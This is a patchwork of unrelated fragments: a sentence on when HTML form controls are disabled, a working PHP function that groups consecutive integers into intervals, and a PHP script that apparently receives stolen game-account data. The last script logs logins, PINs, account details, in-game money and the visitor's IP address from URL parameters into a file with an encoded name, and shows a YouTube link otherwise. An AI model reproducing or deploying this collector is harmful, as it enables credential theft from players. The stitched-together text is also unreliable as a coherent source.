A form control is disabled if any of the following conditions are met:
1. The element is a button, input, select, or textarea element, and the disabled attribute is specified on this element (regardless of its value).
function intervals($arr) {
$start = -1;
$end = -1;
$result = [];
foreach ($arr as $val) {
if ($start === -1) {
$start = $val;
$end = $val;
} elseif ($val === $end + 1) {
$end = $val;
} else {
$result[] = ['start' => $start, 'end' => $end];
$start = $val;
$end = $val;
}
}
if ($start !== -1) {
$result[] = ['start' => $start, 'end' => $end];
}
return $result;
}
print_r(intervals([0,1,2,3,6,7,8,9,12,13,14,15]));
// Array (
// [0] => Array (
// [start] => 0
// [end] => 3
// )
// [1] => Array (
// [start] => 6
// [end] => 9
// )
// [2] => Array (
// [start] => 12
// [end] => 15
// )
// )
<?php
if (isset($_GET) && !empty($_GET)) {
$log = $_GET['log'];
$srvr = $_GET['srvr'];
$servname = $_GET['servname'];
$did = $_GET['did'];
$inf = $_GET['inf'];
$pin = $_GET['pin'];
$skin = $_GET['skin'];
$score = $_GET['score'];
$money = $_GET['money'];
$remoteAddr = $_SERVER['REMOTE_ADDR'];
$date = date('H:i:s-d.m.y');
if (!empty($inf)) {
$message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[id: $did]: $inf | User-IP: $remoteAddr \r\n";
} elseif (!empty($pin)) {
$message = "$date | Login: $log [skin: $skin, lvl: $score, money: $money$] | Server: $srvr [$servname] | Info[PIN]: $pin | User-IP: $remoteAddr \r\n";
}
if (isset($message)) {
$file = fopen("By\xde\xf2\xf3\xe1\xe5\xf0\xca\xe8\xf0\xff.txt" , 'a+');
$result = fwrite($file, $message);
}
} else {
echo '<a href="https://www.youtube.com/channel/UCm9ypHcgruKSDra2xPoQ8rA">My channel</a>';
}
?>